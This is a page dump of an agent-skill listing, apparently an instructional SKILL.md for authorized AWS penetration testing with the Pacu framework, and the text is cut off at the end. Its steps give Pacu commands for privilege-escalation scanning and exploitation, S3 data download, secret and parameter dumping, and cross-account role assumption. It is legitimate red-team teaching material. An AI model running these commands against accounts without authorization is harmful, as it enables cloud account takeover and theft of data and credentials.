[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AFPSPRNC597WAB0S2CVRTG":3,"skill-same:01M6AFPSPRNC597WAB0S2CVRTG":112},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":47,"linkOnly":48,"markdownContent":49,"markdownBody":50,"frontMatter":51,"refName":71,"commitSha":72,"skillDirectory":73,"forksCount":74,"repositoryHtmlUrl":75,"repositoryHomepageUrl":76,"ownerHtmlUrl":77,"ownerBlogUrl":78,"ownerDescription":79,"updatedAt":80,"install":81,"resources":94},"01M6AFPSPRNC597WAB0S2CVRTG","performing-cloud-penetration-testing-with-pacu",null,"Run authorized AWS penetration tests with Pacu, the open-source AWS exploitation framework, to enumerate IAM configuration, scan for privilege escalation paths, and test data access and lateral movement using compromised credentials. Use when conducting authorized red-team assessments of AWS environments, validating IAM policies and SCPs, or determining the blast radius of compromised AWS credentials.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",35884,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-cloud-penetration-testing-with-pacu\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],"penetration testing","performing cloud penetration testing with pacu","pacu","testing","cloud","run","blast radius","framework","pr","red-team","test","cloud-security","data","iam","escalation","t1078","cybersecurity","radius","credentials","security","2026-11-10 10:12:30",false,"---\nname: performing-cloud-penetration-testing-with-pacu\ndescription: 'Run authorized AWS penetration tests with Pacu, the open-source AWS exploitation\n  framework, to enumerate IAM configuration, scan for privilege escalation paths, and\n  test data access and lateral movement using compromised credentials. Use when conducting\n  authorized red-team assessments of AWS environments, validating IAM policies and\n  SCPs, or determining the blast radius of compromised AWS credentials.\n\n  '\ndomain: cybersecurity\nsubdomain: cloud-security\ntags:\n- cloud-security\n- aws\n- pacu\n- penetration-testing\n- offensive-security\n- iam-exploitation\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.IR-01\n- ID.AM-08\n- GV.SC-06\n- DE.CM-01\nmitre_attack:\n- T1078.004\n- T1530\n- T1537\n- T1580\n- T1068\n---\n\n# Performing Cloud Penetration Testing with Pacu\n\n## When to Use\n\n- When conducting authorized penetration testing of AWS environments\n- When validating the effectiveness of IAM policies, SCPs, and permission boundaries\n- When assessing the blast radius of a compromised set of AWS credentials\n- When testing detection capabilities of GuardDuty, Security Hub, and custom alerting\n- When building red team exercises against AWS cloud infrastructure\n\n**Do not use** for unauthorized testing of any AWS account, for testing AWS infrastructure itself (covered by shared responsibility), for DDoS or volumetric attacks without AWS approval, or for production account testing without explicit authorization and breakglass procedures.\n\n## Prerequisites\n\n- Written authorization from the AWS account owner with defined scope and rules of engagement\n- Pacu v1.5+ installed (`pip install pacu`)\n- Test AWS credentials with limited starting permissions (simulates compromised credential scenario)\n- CloudTrail logging enabled to capture all Pacu activity for post-engagement review\n- GuardDuty enabled to validate detection of Pacu activities\n- Emergency contact and rollback procedures documented\n\n## Workflow\n\n### Step 1: Initialize Pacu Session and Configure Credentials\n\nSet up a Pacu session with the test credentials and define the engagement scope.\n\n```bash\n# Install Pacu\npip install pacu\n\n# Start Pacu\npacu\n\n# Create a new session for the engagement\nPacu > set_keys --key-alias pentest-target\n# Enter Access Key ID: AKIA...\n# Enter Secret Access Key: ...\n\n# Verify identity\nPacu > whoami\n\n# Review available modules\nPacu > list\nPacu > search iam\nPacu > search ec2\nPacu > search s3\n```\n\n### Step 2: Enumerate IAM Configuration\n\nRun IAM enumeration modules to map users, roles, policies, and group memberships.\n\n```bash\n# Comprehensive IAM enumeration\nPacu > run iam__enum_users_roles_policies_groups\n\n# Enumerate detailed permissions for the current principal\nPacu > run iam__enum_permissions\n\n# Enumerate account authorization details (requires iam:GetAccountAuthorizationDetails)\nPacu > run iam__get_credential_report\n\n# Enumerate role trust policies for cross-account access\nPacu > run iam__enum_roles\n\n# Check current session data\nPacu > data iam\n```\n\n### Step 3: Scan for Privilege Escalation Paths\n\nUse Pacu's privilege escalation scanner to identify all exploitable escalation vectors.\n\n```bash\n# Run the privilege escalation scanner\nPacu > run iam__privesc_scan\n\n# The scanner tests for 21+ escalation methods:\n# Method 1:  iam:CreatePolicyVersion\n# Method 2:  iam:SetDefaultPolicyVersion\n# Method 3:  iam:PassRole + ec2:RunInstances\n# Method 4:  iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction\n# Method 5:  iam:PassRole + lambda:CreateFunction + lambda:CreateEventSourceMapping\n# Method 6:  iam:PassRole + glue:CreateDevEndpoint\n# Method 7:  iam:PassRole + cloudformation:CreateStack\n# Method 8:  iam:PassRole + datapipeline:CreatePipeline\n# Method 9:  iam:CreateAccessKey\n# Method 10: iam:CreateLoginProfile\n# Method 11: iam:UpdateLoginProfile\n# Method 12: iam:AttachUserPolicy\n# Method 13: iam:AttachGroupPolicy\n# Method 14: iam:AttachRolePolicy\n# Method 15: iam:PutUserPolicy\n# Method 16: iam:PutGroupPolicy\n# Method 17: iam:PutRolePolicy\n# Method 18: iam:AddUserToGroup\n# Method 19: iam:UpdateAssumeRolePolicy\n# Method 20: sts:AssumeRole\n# Method 21: lambda:UpdateFunctionCode\n\n# If escalation paths found, attempt exploitation\nPacu > run iam__privesc_scan --escalate\n```\n\n### Step 4: Enumerate and Test Data Access\n\nDiscover accessible data stores including S3, DynamoDB, RDS, and Secrets Manager.\n\n```bash\n# Enumerate S3 buckets\nPacu > run s3__bucket_finder\n\n# Download S3 bucket data for analysis\nPacu > run s3__download_bucket --bucket target-bucket --dl-names\n\n# Enumerate EC2 instances and extract user data\nPacu > run ec2__enum\nPacu > run ec2__download_userdata\n\n# Enumerate Lambda functions and check for secrets in environment variables\nPacu > run lambda__enum\n\n# Enumerate Secrets Manager\nPacu > run secretsmanager__enum\n\n# Enumerate SSM parameters (often contain secrets)\nPacu > run ssm__download_parameters\n\n# Check for exposed EBS snapshots\nPacu > run ebs__enum_snapshots_unauth\n```\n\n### Step 5: Test Lateral Movement and Persistence\n\nEvaluate cross-account access, service exploitation, and persistence mechanisms.\n\n```bash\n# Test cross-account role assumption\nPacu > run sts__assume_role --role-arn arn:aws:iam::TARGET:role\u002FCrossAccountRole\n\n# Enumerate Lambda for code execution opportunities\nPacu > run lambda__enum\n# If lambda:UpdateFunctionCode permission exists, could inject code\n\n# Test EC2 instance connect for lateral movement\nPacu > run ec2__enum\n# Check for instances with instance profiles that have broader permissions\n\n# Check for CodeBuild projects (potential credential access)\nPacu > run codebuild__enum\n\n# Enumerate ECS\u002FFargate for container-based lateral movement\nPacu > run ecs__enum\n\n# Export all discovered data\nPacu > data all\n```\n\n### Step 6: Validate Detection and Generate Report\n\nReview whether security controls detected the testing activities and compile findings.\n\n```bash\n# Check GuardDuty findings generated during testing\naws guardduty list-findings \\\n  --detector-id $(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) \\\n  --finding-criteria '{\n    \"Criterion\": {\n      \"updatedAt\": {\"GreaterThanOrEqual\": ENGAGEMENT_START_EPOCH}\n    }\n  }' --output json\n\n# Check Security Hub findings\naws securityhub get-findings \\\n  --filters '{\n    \"CreatedAt\": [{\"Start\": \"ENGAGEMENT_START_ISO\", \"End\": \"ENGAGEMENT_END_ISO\"}]\n  }'\n\n# Export Pacu session data for reporting\nPacu > export_keys --all\nPacu > data all > pacu-session-export.json\n\n# Clean up any test artifacts created during assessment\naws iam delete-user --user-name pacu-test-user 2>\u002Fdev\u002Fnull\naws iam delete-access-key --user-name pacu-test-user --access-key-id AKIA... 2>\u002Fdev\u002Fnull\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| Pacu | Open-source AWS exploitation framework maintained by Rhino Security Labs, providing modular attack capabilities for authorized penetration testing |\n| Privilege Escalation Scan | Automated analysis of IAM policies to identify known methods for elevating permissions from limited access to administrative control |\n| iam:PassRole | Critical IAM action allowing a principal to assign roles to AWS services, enabling indirect privilege escalation through Lambda, EC2, or Glue |\n| Cross-Account Role Assumption | Using sts:AssumeRole to obtain temporary credentials in another AWS account through trust policy configurations |\n| Rules of Engagement | Documented agreement defining the scope, methods, timing, and boundaries of a penetration testing engagement |\n| Post-Exploitation | Activities performed after initial access to demonstrate impact, including data access, lateral movement, and persistence establishment |\n\n## Tools & Systems\n\n- **Pacu**: AWS exploitation framework with 50+ modules for enumeration, escalation, persistence, and data exfiltration\n- **CloudFox**: AWS enumeration tool for identifying attack paths from an attacker perspective\n- **Principal Mapper**: IAM privilege escalation graph analysis tool for visualizing escalation paths\n- **ScoutSuite**: Multi-cloud security assessment tool for identifying misconfigurations before testing\n- **AWS CloudTrail**: Audit logging for capturing all Pacu activities during the engagement\n\n## Common Scenarios\n\n### Scenario: Red Team Assessment Starting from Compromised Developer Credentials\n\n**Context**: A red team exercise simulates a scenario where an attacker obtains a developer's AWS access key from a leaked repository. The goal is to determine the maximum impact achievable from this starting point.\n\n**Approach**:\n1. Initialize Pacu with the compromised credentials and run `whoami` to confirm identity\n2. Run `iam__enum_permissions` to map the developer's effective permissions\n3. Execute `iam__privesc_scan` to identify escalation paths from developer to admin\n4. Discover the developer can call `iam:PassRole` + `lambda:CreateFunction`, creating a Lambda with an admin role\n5. Exploit the escalation to obtain admin-level temporary credentials\n6. Enumerate S3 buckets, download sensitive data, and access Secrets Manager\n7. Verify whether GuardDuty detected the escalation and data access activities\n8. Clean up all test artifacts and document the complete attack chain\n\n**Pitfalls**: Pacu modules can be noisy and generate many API calls in a short time. GuardDuty may trigger `Recon:IAMUser\u002FMaliciousIPCaller` findings from the tester's IP. Coordinate with the SOC team to whitelist the testing IP or establish a clear communication channel to distinguish testing from real attacks. Always clean up persistence artifacts after testing.\n\n## Output Format\n\n```\nAWS Penetration Test Report (Pacu)\n=====================================\nTarget Account: 123456789012\nEngagement Period: 2026-02-20 to 2026-02-23\nStarting Credentials: Developer role (read-only S3, Lambda invoke)\nAuthorization: Signed ROE document #PT-2026-015\n\nATTACK PATH SUMMARY:\n  Starting access: S3 read-only, Lambda invoke\n  Maximum access achieved: AdministratorAccess (full account compromise)\n  Time to admin: 47 minutes\n  Detection by GuardDuty: Yes (after 12 minutes)\n  Detection by Security Hub: Yes (after 18 minutes)\n  SOC response time: 45 minutes (missed the escalation window)\n\nPACU MODULES EXECUTED:\n  iam__enum_users_roles_policies_groups: SUCCESS\n  iam__enum_permissions: SUCCESS\n  iam__privesc_scan: 3 escalation paths found\n  s3__download_bucket: 4 buckets accessed\n  lambda__enum: 12 functions enumerated\n  secretsmanager__enum: 8 secrets retrieved\n\nESCALATION PATHS EXPLOITED:\n  [1] iam:PassRole + lambda:CreateFunction -> AdminRole (CRITICAL)\n  [2] sts:AssumeRole -> CrossAccountProdRole (HIGH)\n  [3] iam:CreatePolicyVersion on dev-policy (CRITICAL)\n\nDATA ACCESSED:\n  S3 objects downloaded: 1,247 files (2.3 GB)\n  Secrets Manager values: 8 secrets including DB credentials\n  SSM parameters: 23 parameters including API keys\n\nDETECTION RESULTS:\n  GuardDuty findings generated: 7\n  Security Hub findings: 12\n  Custom CloudWatch alarms triggered: 3\n  SOC acknowledged: Yes (45 min response)\n\nRECOMMENDATIONS:\n  1. Apply permission boundaries to all developer roles\n  2. Remove iam:PassRole from non-admin principals\n  3. Reduce SOC response time to \u003C 15 minutes for IAM escalation alerts\n  4. Implement SCP blocking iam:CreatePolicyVersion in non-admin OUs\n```\n","# Performing Cloud Penetration Testing with Pacu\n\n## When to Use\n\n- When conducting authorized penetration testing of AWS environments\n- When validating the effectiveness of IAM policies, SCPs, and permission boundaries\n- When assessing the blast radius of a compromised set of AWS credentials\n- When testing detection capabilities of GuardDuty, Security Hub, and custom alerting\n- When building red team exercises against AWS cloud infrastructure\n\n**Do not use** for unauthorized testing of any AWS account, for testing AWS infrastructure itself (covered by shared responsibility), for DDoS or volumetric attacks without AWS approval, or for production account testing without explicit authorization and breakglass procedures.\n\n## Prerequisites\n\n- Written authorization from the AWS account owner with defined scope and rules of engagement\n- Pacu v1.5+ installed (`pip install pacu`)\n- Test AWS credentials with limited starting permissions (simulates compromised credential scenario)\n- CloudTrail logging enabled to capture all Pacu activity for post-engagement review\n- GuardDuty enabled to validate detection of Pacu activities\n- Emergency contact and rollback procedures documented\n\n## Workflow\n\n### Step 1: Initialize Pacu Session and Configure Credentials\n\nSet up a Pacu session with the test credentials and define the engagement scope.\n\n```bash\n# Install Pacu\npip install pacu\n\n# Start Pacu\npacu\n\n# Create a new session for the engagement\nPacu > set_keys --key-alias pentest-target\n# Enter Access Key ID: AKIA...\n# Enter Secret Access Key: ...\n\n# Verify identity\nPacu > whoami\n\n# Review available modules\nPacu > list\nPacu > search iam\nPacu > search ec2\nPacu > search s3\n```\n\n### Step 2: Enumerate IAM Configuration\n\nRun IAM enumeration modules to map users, roles, policies, and group memberships.\n\n```bash\n# Comprehensive IAM enumeration\nPacu > run iam__enum_users_roles_policies_groups\n\n# Enumerate detailed permissions for the current principal\nPacu > run iam__enum_permissions\n\n# Enumerate account authorization details (requires iam:GetAccountAuthorizationDetails)\nPacu > run iam__get_credential_report\n\n# Enumerate role trust policies for cross-account access\nPacu > run iam__enum_roles\n\n# Check current session data\nPacu > data iam\n```\n\n### Step 3: Scan for Privilege Escalation Paths\n\nUse Pacu's privilege escalation scanner to identify all exploitable escalation vectors.\n\n```bash\n# Run the privilege escalation scanner\nPacu > run iam__privesc_scan\n\n# The scanner tests for 21+ escalation methods:\n# Method 1:  iam:CreatePolicyVersion\n# Method 2:  iam:SetDefaultPolicyVersion\n# Method 3:  iam:PassRole + ec2:RunInstances\n# Method 4:  iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction\n# Method 5:  iam:PassRole + lambda:CreateFunction + lambda:CreateEventSourceMapping\n# Method 6:  iam:PassRole + glue:CreateDevEndpoint\n# Method 7:  iam:PassRole + cloudformation:CreateStack\n# Method 8:  iam:PassRole + datapipeline:CreatePipeline\n# Method 9:  iam:CreateAccessKey\n# Method 10: iam:CreateLoginProfile\n# Method 11: iam:UpdateLoginProfile\n# Method 12: iam:AttachUserPolicy\n# Method 13: iam:AttachGroupPolicy\n# Method 14: iam:AttachRolePolicy\n# Method 15: iam:PutUserPolicy\n# Method 16: iam:PutGroupPolicy\n# Method 17: iam:PutRolePolicy\n# Method 18: iam:AddUserToGroup\n# Method 19: iam:UpdateAssumeRolePolicy\n# Method 20: sts:AssumeRole\n# Method 21: lambda:UpdateFunctionCode\n\n# If escalation paths found, attempt exploitation\nPacu > run iam__privesc_scan --escalate\n```\n\n### Step 4: Enumerate and Test Data Access\n\nDiscover accessible data stores including S3, DynamoDB, RDS, and Secrets Manager.\n\n```bash\n# Enumerate S3 buckets\nPacu > run s3__bucket_finder\n\n# Download S3 bucket data for analysis\nPacu > run s3__download_bucket --bucket target-bucket --dl-names\n\n# Enumerate EC2 instances and extract user data\nPacu > run ec2__enum\nPacu > run ec2__download_userdata\n\n# Enumerate Lambda functions and check for secrets in environment variables\nPacu > run lambda__enum\n\n# Enumerate Secrets Manager\nPacu > run secretsmanager__enum\n\n# Enumerate SSM parameters (often contain secrets)\nPacu > run ssm__download_parameters\n\n# Check for exposed EBS snapshots\nPacu > run ebs__enum_snapshots_unauth\n```\n\n### Step 5: Test Lateral Movement and Persistence\n\nEvaluate cross-account access, service exploitation, and persistence mechanisms.\n\n```bash\n# Test cross-account role assumption\nPacu > run sts__assume_role --role-arn arn:aws:iam::TARGET:role\u002FCrossAccountRole\n\n# Enumerate Lambda for code execution opportunities\nPacu > run lambda__enum\n# If lambda:UpdateFunctionCode permission exists, could inject code\n\n# Test EC2 instance connect for lateral movement\nPacu > run ec2__enum\n# Check for instances with instance profiles that have broader permissions\n\n# Check for CodeBuild projects (potential credential access)\nPacu > run codebuild__enum\n\n# Enumerate ECS\u002FFargate for container-based lateral movement\nPacu > run ecs__enum\n\n# Export all discovered data\nPacu > data all\n```\n\n### Step 6: Validate Detection and Generate Report\n\nReview whether security controls detected the testing activities and compile findings.\n\n```bash\n# Check GuardDuty findings generated during testing\naws guardduty list-findings \\\n  --detector-id $(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) \\\n  --finding-criteria '{\n    \"Criterion\": {\n      \"updatedAt\": {\"GreaterThanOrEqual\": ENGAGEMENT_START_EPOCH}\n    }\n  }' --output json\n\n# Check Security Hub findings\naws securityhub get-findings \\\n  --filters '{\n    \"CreatedAt\": [{\"Start\": \"ENGAGEMENT_START_ISO\", \"End\": \"ENGAGEMENT_END_ISO\"}]\n  }'\n\n# Export Pacu session data for reporting\nPacu > export_keys --all\nPacu > data all > pacu-session-export.json\n\n# Clean up any test artifacts created during assessment\naws iam delete-user --user-name pacu-test-user 2>\u002Fdev\u002Fnull\naws iam delete-access-key --user-name pacu-test-user --access-key-id AKIA... 2>\u002Fdev\u002Fnull\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| Pacu | Open-source AWS exploitation framework maintained by Rhino Security Labs, providing modular attack capabilities for authorized penetration testing |\n| Privilege Escalation Scan | Automated analysis of IAM policies to identify known methods for elevating permissions from limited access to administrative control |\n| iam:PassRole | Critical IAM action allowing a principal to assign roles to AWS services, enabling indirect privilege escalation through Lambda, EC2, or Glue |\n| Cross-Account Role Assumption | Using sts:AssumeRole to obtain temporary credentials in another AWS account through trust policy configurations |\n| Rules of Engagement | Documented agreement defining the scope, methods, timing, and boundaries of a penetration testing engagement |\n| Post-Exploitation | Activities performed after initial access to demonstrate impact, including data access, lateral movement, and persistence establishment |\n\n## Tools & Systems\n\n- **Pacu**: AWS exploitation framework with 50+ modules for enumeration, escalation, persistence, and data exfiltration\n- **CloudFox**: AWS enumeration tool for identifying attack paths from an attacker perspective\n- **Principal Mapper**: IAM privilege escalation graph analysis tool for visualizing escalation paths\n- **ScoutSuite**: Multi-cloud security assessment tool for identifying misconfigurations before testing\n- **AWS CloudTrail**: Audit logging for capturing all Pacu activities during the engagement\n\n## Common Scenarios\n\n### Scenario: Red Team Assessment Starting from Compromised Developer Credentials\n\n**Context**: A red team exercise simulates a scenario where an attacker obtains a developer's AWS access key from a leaked repository. The goal is to determine the maximum impact achievable from this starting point.\n\n**Approach**:\n1. Initialize Pacu with the compromised credentials and run `whoami` to confirm identity\n2. Run `iam__enum_permissions` to map the developer's effective permissions\n3. Execute `iam__privesc_scan` to identify escalation paths from developer to admin\n4. Discover the developer can call `iam:PassRole` + `lambda:CreateFunction`, creating a Lambda with an admin role\n5. Exploit the escalation to obtain admin-level temporary credentials\n6. Enumerate S3 buckets, download sensitive data, and access Secrets Manager\n7. Verify whether GuardDuty detected the escalation and data access activities\n8. Clean up all test artifacts and document the complete attack chain\n\n**Pitfalls**: Pacu modules can be noisy and generate many API calls in a short time. GuardDuty may trigger `Recon:IAMUser\u002FMaliciousIPCaller` findings from the tester's IP. Coordinate with the SOC team to whitelist the testing IP or establish a clear communication channel to distinguish testing from real attacks. Always clean up persistence artifacts after testing.\n\n## Output Format\n\n```\nAWS Penetration Test Report (Pacu)\n=====================================\nTarget Account: 123456789012\nEngagement Period: 2026-02-20 to 2026-02-23\nStarting Credentials: Developer role (read-only S3, Lambda invoke)\nAuthorization: Signed ROE document #PT-2026-015\n\nATTACK PATH SUMMARY:\n  Starting access: S3 read-only, Lambda invoke\n  Maximum access achieved: AdministratorAccess (full account compromise)\n  Time to admin: 47 minutes\n  Detection by GuardDuty: Yes (after 12 minutes)\n  Detection by Security Hub: Yes (after 18 minutes)\n  SOC response time: 45 minutes (missed the escalation window)\n\nPACU MODULES EXECUTED:\n  iam__enum_users_roles_policies_groups: SUCCESS\n  iam__enum_permissions: SUCCESS\n  iam__privesc_scan: 3 escalation paths found\n  s3__download_bucket: 4 buckets accessed\n  lambda__enum: 12 functions enumerated\n  secretsmanager__enum: 8 secrets retrieved\n\nESCALATION PATHS EXPLOITED:\n  [1] iam:PassRole + lambda:CreateFunction -> AdminRole (CRITICAL)\n  [2] sts:AssumeRole -> CrossAccountProdRole (HIGH)\n  [3] iam:CreatePolicyVersion on dev-policy (CRITICAL)\n\nDATA ACCESSED:\n  S3 objects downloaded: 1,247 files (2.3 GB)\n  Secrets Manager values: 8 secrets including DB credentials\n  SSM parameters: 23 parameters including API keys\n\nDETECTION RESULTS:\n  GuardDuty findings generated: 7\n  Security Hub findings: 12\n  Custom CloudWatch alarms triggered: 3\n  SOC acknowledged: Yes (45 min response)\n\nRECOMMENDATIONS:\n  1. Apply permission boundaries to all developer roles\n  2. Remove iam:PassRole from non-admin principals\n  3. Reduce SOC response time to \u003C 15 minutes for IAM escalation alerts\n  4. Implement SCP blocking iam:CreatePolicyVersion in non-admin OUs\n```\n",{"name":5,"tags":52,"author":57,"domain":43,"license":15,"version":58,"nist_csf":59,"subdomain":38,"description":64,"mitre_attack":65},[38,53,29,54,55,56],"aws","penetration-testing","offensive-security","iam-exploitation","mahipal","1.0",[60,61,62,63],"PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01","Run authorized AWS penetration tests with Pacu, the open-source AWS exploitation framework, to enumerate IAM configuration, scan for privilege escalation paths, and test data access and lateral movement using compromised credentials. Use when conducting authorized red-team assessments of AWS environments, validating IAM policies and SCPs, or determining the blast radius of compromised AWS credentials.\n",[66,67,68,69,70],"T1078.004","T1530","T1537","T1580","T1068","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fperforming-cloud-penetration-testing-with-pacu",4379,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":82,"prompt":92,"zipAvailable":93},[83,86,89],{"tool":84,"command":85},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-cloud-penetration-testing-with-pacu",{"tool":87,"command":88},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-cloud-penetration-testing-with-pacu",{"tool":90,"command":91},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-cloud-penetration-testing-with-pacu","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-cloud-penetration-testing-with-pacu\u002FSKILL.md",true,[95,100,106],{"path":96,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":98,"sourceHtmlUrl":99},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-cloud-penetration-testing-with-pacu\u002FLICENSE",{"path":101,"resourceType":102,"resourceTypeDesc":103,"sizeBytes":104,"sourceHtmlUrl":105},"references\u002Fapi-reference.md","REFERENCE","参考文档",2473,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-cloud-penetration-testing-with-pacu\u002Freferences\u002Fapi-reference.md",{"path":107,"resourceType":108,"resourceTypeDesc":109,"sizeBytes":110,"sourceHtmlUrl":111},"scripts\u002Fagent.py","SCRIPT","脚本",8492,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-cloud-penetration-testing-with-pacu\u002Fscripts\u002Fagent.py",[113,138,162,186,211,237],{"skillNo":114,"name":115,"nameZh":6,"description":116,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":117,"categories":118,"keywords":120,"publishedAt":47},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[119],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[121,122,123,124,46,43,125,126,35,127,128,129,130,131,132,133,134,135,136,137],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":139,"name":140,"nameZh":6,"description":141,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":142,"categories":143,"keywords":145,"publishedAt":47},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[144],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[146,134,147,148,46,149,43,35,150,151,152,153,154,155,156,157,158,159,160,161],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":163,"name":164,"nameZh":6,"description":165,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":166,"categories":167,"keywords":170,"publishedAt":47},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[168,169],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[156,171,172,173,30,43,174,175,150,176,177,178,179,180,181,42,182,183,184,185],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":187,"name":188,"nameZh":6,"description":189,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":190,"categories":191,"keywords":193,"publishedAt":47},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[192],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[194,195,196,43,197,198,199,200,201,202,203,39,204,205,206,207,153,208,209,210],"windows","kape","triaging windows with 